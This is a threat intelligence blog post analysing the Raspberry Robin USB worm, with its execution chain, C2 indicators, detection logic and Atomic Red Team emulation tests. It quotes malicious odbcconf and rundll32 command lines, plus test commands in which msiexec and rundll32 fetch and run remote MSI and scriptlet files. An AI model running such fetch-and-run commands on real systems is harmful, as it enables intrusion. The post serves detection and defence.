RESOURCES • BLOG

THREAT INTELLIGENCE

Raspberry Robin gets the worm

Red Canary is tracking a worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated domains and download a malicious DLL.

LAUREN PODBER • STEF RAND

Originally published May 5, 2022. Last modified October 2, 2024.

Since fall 2021, Red Canary Intelligence has been tracking a cluster of malicious activity we call Raspberry Robin. ***Raspberry Robin*** *was the seventh most prevalent threat we observed in 2022, as reported our* ***2023 Threat Detection Report****.*

Read on for details on what Raspberry Robin is, high-fidelity opportunities to detect known behaviors, and background on how we decided to cluster this activity. Check out this ***video update*** *for the latest developments and guidance on how to test your detection capabilities with* ***Atomic Red Team****.*

“Raspberry Robin” is Red Canary’s name for a cluster of activity we first observed in September 2021 involving a worm that is often installed via USB drive. This activity cluster relies on `msiexec.exe` to call out to its infrastructure, often compromised QNAP devices, using HTTP requests that contain a victim’s user and device names. We also observed Raspberry Robin use TOR exit nodes as additional command and control (C2) infrastructure.

Like most activity clusters we track, Raspberry Robin began as a handful of detections with similar characteristics that we saw in multiple customers’ environments, first noticed by **Jason Killam** from Red Canary’s Detection Engineering team. We saw Raspberry Robin activity as far back as September 2021, though most related activity occurred during or after January 2022. As we observed additional activity, we couldn’t find public reporting to corroborate our analysis, aside from **some findings on VirusTotal** that we suspected were related based on overlap in C2 domains.

To date, we’ve observed Raspberry Robin in organizations with ties to technology and manufacturing, though it’s not yet clear if there are other links among victims. We have several intelligence gaps around this cluster, including the operators’ objectives. While we don’t yet have the full picture, we want to share what we know about this activity entire chain of activity described below, including the initial access method, the worm itself, and the follow-on execution and C2 activity.

Below we've provided a comprehensive analysis of known Raspberry Robin behavior with corresponding detection opportunities along the way.

Figure 1: Raspberry Robin event outline

Initial access

Raspberry Robin is typically introduced via infected removable drives, often USB devices. The Raspberry Robin worm often appears as a shortcut `.lnk` file masquerading as a legitimate folder on the infected USB device.

Soon after the Raspberry Robin infected drive is connected to the system, the UserAssist registry entry is updated and records execution of a ROT13-ciphered value referencing a `.lnk` file when deciphered. In the example below, `q:\erpbirel.yax` deciphers to `d:\recovery.lnk`.

Figure 2: Registry modification with ROT13 `.lnk` file

Execution

Raspberry Robin first uses `cmd.exe` to read and execute a file stored on the infected external drive. The command is consistent across Raspberry Robin detections we have seen so far, making it reliable early evidence of potential Raspberry Robin activity. Typically the command line includes `cmd /R <` to read and execute a file. The use of `cmd /R <` is not unique to Raspberry Robin, but the filename pattern is unique. The filename is made up of five to seven random alphanumeric characters and a variety of file

Here’s an example of what the whole command might look like:

Figure 3: Raspberry Robin `cmd.exe` command

Next, `cmd.exe` typically launches `explorer.exe` and `msiexec.exe`. With Raspberry Robin, `explorer.exe`’s command line can be a mixed-case reference to an external device; a person’s name, like `LAUREN V`; or the name of the `.lnk` file, like the figure below. The name here has been modified from the `.lnk` file name to `LNkFILe`. While we aren’t sure of this command’s exact purpose, we’ve consistently observed it in Raspberry Robin detections.

Figure 4: Mixed-case command referring to device or name

Raspberry Robin extensively uses mixed-case letters in its commands. Adversaries sometimes use mixed-case syntax in an attempt to evade detection. Case-sensitive, string-based detections written to detect `evil` may not fire on `eViL`, but `cmd.exe` is case-insensitive and has the flexibility to read and process both commands the same way.

Command and control (C2)

Let's look at Raspberry Robin's `msiexec.exe` command in detail, since that informs our first behavior-based detection opportunity.

While `msiexec.exe` downloads and executes legitimate installer packages, adversaries also leverage it to deliver malware. Raspberry Robin uses `msiexec.exe` to attempt external network communication to a malicious domain for C2 purposes. The command line has several key features we have seen across multiple detections:

- Use of mixed-case syntax (this is yet another example of mixed case use by Raspberry Robin)
- Use of short, recently-registered domains only containing a few characters, for example `v0[.]cx`
- The domains in our detections hosted QNAP NAS device login pages around the time of the Raspberry Robin activity. We hypothesize Raspberry Robin

to this activity cluster, but we observed operators using these across several Raspberry Robin-associated detections.

- Inclusion of port `8080`, a non-standard HTTP web service port, in the URL
- Inclusion of a string of random alphanumeric characters as the URL subdirectory, frequently followed by the victim's hostname and username

Here is a modified example of a full malicious Raspberry Robin `msiexec.exe` command line matching all of the above criteria. The random string has been modified, and the victim's host name replaced with `HOSTNAME`, though the domain name remains the original one observed.

Figure 5: Malicious Raspberry Robin `msiexec.exe` command

To detect suspicious use of `msiexec.exe` by Raspberry Robin or other threats, it's essential to take a look at the command line and the URL. Detecting `msiexec.exe` making outbound network connections to download and install packages in the command line interface will give you the opportunity to examine the activity and determine if it's malicious or not.

Detection opportunity: `msiexec.exe` **downloading and executing packages**

Identify the use of Windows Installer Tool `msiexec.exe` to download and execute

process == `('msiexec')`
&&
process_command_line_includes == `('http:', 'https:')`
&&
process_command_line_includes == `('/q', '-q')`

Persistence

In several Raspberry Robin detections, we have seen `msiexec.exe` go on to install a malicious DLL file. At this time we are not certain what the DLL does.. We suspect it may establish persistence on the victim's system. In the detections we saw, the malicious files were created as `C:\Windows\Installer\MSI****.tmp` files. In one case, a file with the same hash was also created as `C:\Users\username\AppData\Local\Temp\bznwi.ku`.

Examples:

- `C:\Windows\Installer\MSI5C01.tmp`
  `C:\Users\username\AppData\Local\Temp\bznwi.ku`
    - Shared MD5 hash: 6f5ea8383bc3bd07668a7d24fe9b0828
    - **VirusTotal example**
- `C:\Windows\Installer\MSIE160.tmp`
    - MD5 hash: e8f0d33109448f877a0e532b1a27131a
    - **VirusTotal example**

Execution (again)

Next, `msiexec.exe` launches a legitimate Windows utility, `fodhelper.exe`, which in turn spawns `rundll32.exe` to execute a malicious command. Processes launched by

Detection opportunity: `fodhelper.exe` as a parent process

Identify Windows Features On Demand helper `fodhelper.exe` creating processes as the parent.

parent_process == `('fodhelper')`

The `rundll32.exe` command starts another legitimate Windows utility, in this case `odbcconf.exe`, and passes in additional commands to execute and configure the recently-installed malicious DLL `bznwi.ku` (Hash: `6f5ea8383bc3bd07668a7d24fe9b0828`). Here is what that command looks like. (We modified the random string values in the command, as well as replaced the victim's username with `username`.)

Figure 6: Malicious `rundll32.exe` command

The `-A` flag in `odbcconf.exe` specifies an action. `configdriver` loads the driver setup DLL, in this case `VKIPDSE`. `SETFILEDSNDIR` creates the registry location `HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN\DefaultDSNDir` if it does not

In this detection, we saw `odbcconf.exe` successfully execute the malicious command. Since `odbcconf.exe` has a built-in `regsvr` flag similar to `regsvr32.exe`, it can be used by adversaries to execute DLLs and bypass application control defenses that aren't monitoring for `odbcconf.exe` misuse.

Detection opportunity: `odbcconf.exe` **loading .DLLs**

Detect the Windows Open Database Connectivity utility loading a configuration file or DLL. The /A flag specifies an action, `/F` uses a response file, and `/S` runs in silent mode.
`Odbcconf.exe` running rgsvr actions in silent mode could indicate misuse.

```
process == ('odbcconf')
&&
process_command_line_includes == ('regsvr)
&&
process_command_line_includes == ('/f', '-f')
||
process_command_line_includes == ('/a', '-a')
||
process_command_line_includes == ('/s', '-s')
```

C2, part deux

We observed outbound C2 activity involving the processes `regsvr32.exe`, `rundll32.exe`, and `dllhost.exe` executing without any command-line parameters and making external network connections to IP addresses associated with TOR nodes. Additionally, some of the IP addresses in the connections host domains consisting of random alphanumeric characters. For example, `hxxps[:]//www[.]ivuoq6si2a[.]com/`.

This activity presents us with a final detection opportunity. It is atypical for `regsvr32.exe`, `rundll32.exe` and `dllhost.exe` to execute with no command-line

Detection opportunity: **network connections from the command line with no parameters**

Detect `regsvr32.exe`, `rundll32.exe`, and `dllhost.exe` making external network connections with an empty command line.

```
process == ('regsvr32')
||
process == ('rundll32')
||
process == ('dllhost')
&&
process_command_line_contains == (“”)
&&
has_netconnection
```

**Note: Double Quotes (“”) within the command line means null.*

Testing

Editor’s note: We added the testing section to this article on May 11, 2022 and updated it on August 2, 2022.

The detection opportunities listed in this article should offer good coverage against some Raspberry Robin-related techniques. However, it’s hard to know if a detection analytic is configured or implemented correctly without testing it. Luckily, we’ve got a few different Atomic Red Team tests that should effectively emulate the pseudo-detection analytics listed above. *Note: **Atomic Red Team** is an open source library of tests that security professionals can use to validate their security controls.*

This atomic was developed specifically to emulate Raspberry Robin. It uses the "standard-in" command prompt feature (`cmd /R <`) to read and execute a file via cmd.exe. Run the following in the Command Prompt:

```
cmd /r
cmd<C:\AtomicRedTeam\atomics\T10
59.003\src\t1059.003_cmd.cmd
```

You can find the test file in the atomics library **here**.

Emulating `msiexec.exe` downloading and executing packages

This following atomic retrieves an arbitrary MSI file from a remote IP address and executes it. Note that the process is `msiexec.exe` and that the command line includes `/q` and `https:`—all of the variables mentioned in the above detection opportunity. Run the following in the Command Prompt:

```
msiexec.exe /q /i
"https://github.com/redcanaryco/
atomic-red-
```

```
team/raw/master/atomics/T1218.00
7/src/T1218.007_JScript.msi"
```

You can find the test file in the atomics library **here**.

Emulating `odbcconf.exe` loading DLLs

The following atomic uses `odbcconf.exe` to load and execute a locally stored DLL. Note that the process will be `odbcconf.exe` and that the command line includes the `/a` and `/s` parameters that the pseudo detection analytic looks for.

```
odbcconf.exe /S /A {REGSVR
"C\AtomicRedTeam\atomics\T1218.0
08\src\Win32\T1218-2.dll"}
```

Note that this test includes a prerequisite. You can find detailed instructions in the **T1218.008 atomics folder**.

Emulating network connections from the command line with no parameters

The following isn't a perfect atomic for emulating this detection opportunity, but it'll

```
rundll32.exe
javascript:"\..\mshtml,RunHTMLAp
plication
";document.write();GetObject("sc
ript:https://raw.githubuserconte
nt.com/redcanaryco/atomic-red-
team/master/atomics/T1218.011/sr
c/T1218.011.sct").Exec();
```

You can find the test file in the atomics library **here**.

Intelligence gaps

Several unanswered questions about this cluster remain. First and foremost, we don't know how or where Raspberry Robin infects external drives to perpetuate its activity, though it's likely this occurs offline or otherwise outside of our visibility. We also don't know why Raspberry Robin installs a malicious DLL. One hypothesis is that it may be an attempt to establish persistence on an infected system, though additional information is required to build confidence in that hypothesis.

Perhaps our biggest question concerns the operators' objectives. Absent additional information on later-stage activity, it's difficult to make inferences on the goal or goals of these campaigns. Despite this, we hope this information is useful for informing broader efforts to track and better detect Raspberry Robin activity. We hope to start a

*Thank you to all our contributing researchers who helped make this research possible, especially **Jeff Felling** from Red Canary Intelligence and **Jason Killam** from Red Canary Detection Engineering.*

Appendix

As we define parameters for an activity cluster, we map behaviors to **MITRE ATT&CK** where applicable and note observables of interest. In some cases, often with infrastructure and certain adversary decisions, observables associated with an activity cluster may not neatly map to an ATT&CK technique, and that's okay.

TACTIC	TECHNIQUE	DESCRIPTION	OBSERVABLE
Initial Access	T1091 Replication Through Removable Media	In some cases, Raspberry Robin was introduced via infected removable drives. In these instances, the worm appeared as a shortcut (LNK file) masquerading as a legitimate folder on a USB device	e:\removable disk.lnk
Initial Access		`explorer.exe` with a command line containing a reference to a device or a name	ExpLoRER “USB Drive” or EXPLorEr “LAUREN V eXPLOReR LNkFILe

Execution	T1059.003 Command and Scripting Interpreter (Windows Command Shell)	Raspberry Robin uses the “standard-in” command prompt feature `cmd/R <` to read and execute a file with a name composed of several seemingly random alphanumeric characters	C:\Windows\system32\cmd.exe” /R CMD<IA
Defense Evasion		The use of mixed-case letters, which is tradecraft sometimes used by adversaries to evade defenses (not unique to Raspberry Robin)	mSIeXEc, ExpLoRER, or HTtp in a command li
Defense Evasion	T1218.008 Signed Binary Proxy Execution: Rundll32 T1218.008 Signed Binary Proxy Execution: Odbcconf	Raspberry Robin uses legitimate Windows utilities like `fodhelper.exe` and `odbcconf.exe` to proxy DLL file execution with `rundll32.exe`	“RUNDLL32.exe” shell32,ShellExec_RunDLLA “C:\WINDOWS\syswow64\odbcconf.exe” -A “C:\Users\[redacted]\AppData\Local\Temp\b -E -A {configdriver VKIPDSE} -A {SETFILEDSN fnpawxs PXQAND ofeslkscqqczuaj} -a {INSTA fqcmypo OGEYSCKXFTBNXAF}

	Execution: Msiexec T1071.001 Application Layer Protocol: Web Protocols	connections to URLs that include the victim's hostname and username	
C2		Recently registered top-level domains with few characters, likely used as C2 infrastructure	3h[.]WF or v0[.]cx
C2		Use of infrastructure tied to compromised QNAP NAS devices (not unique to Raspberry Robin)	

C2	T1218.008 Signed Binary Proxy Execution: Rundll32 T1218.008 Signed Binary Proxy Execution: Regsvr32	`rundll32.exe` and `regsvr32.exe` used for C2 communication	Look for `rundll32.exe` and/or `regsvr32.exe` external network connections with no comm arguments

MORE ON RASPBERRY ROBIN

Watch our security experts break down new developments in Raspberry Robin TTPs, along with the most helpful Atomic Red Team tests for validating your detection coverage.

RELATED ARTICLES

THREAT INTELLIGENCE

Intelligence Insights: October 2024

THREAT INTELLIGENCE

Intelligence Insights: September 2024

THREAT INTELLIGENCE

Recent dllFake activity shares code with SecondEye

THREAT INTELLIGENCE

Intelligence Insights: August 2024

Subscribe to our blog

See Red Canary in action

Schedule your demo now

Get a Demo →

Search

PRODUCTS

Managed Detection and Response (MDR)

Readiness Exercises

Linux EDR

SOLUTIONS

Deliver Enterprise Security Across Your IT Environment

Get a 24×7 SOC Instantly

GET A DEMO ›

What's New?
Plans

Protect Your Users' Email, Identities, and SaaS Apps
Protect Your Cloud
Protect Critical Production Linux and Kubernetes
Stop Business Email Compromise
Replace Your MSSP or MDR
Run More Effective Tabletops
Train Continuously for Real-World Scenarios
Operationalize Your Microsoft Security Stack
Minimize Downtime with After-Hours Support

RESOURCES

View all Resources
Blog
Integrations
Guides & Overviews
Cybersecurity 101
Case Studies
Videos
Webinars
Events
Customer Help Center
Newsletter

COMPANY

About Us
The Red Canary Difference
News & Press
Careers – We're Hiring!
Contact Us
Trust Center and Security

PARTNERS

Overview
Incident Response
Insurance & Risk
Managed Service Providers
Solution Providers
Technology Partners
Apply to Become a Partner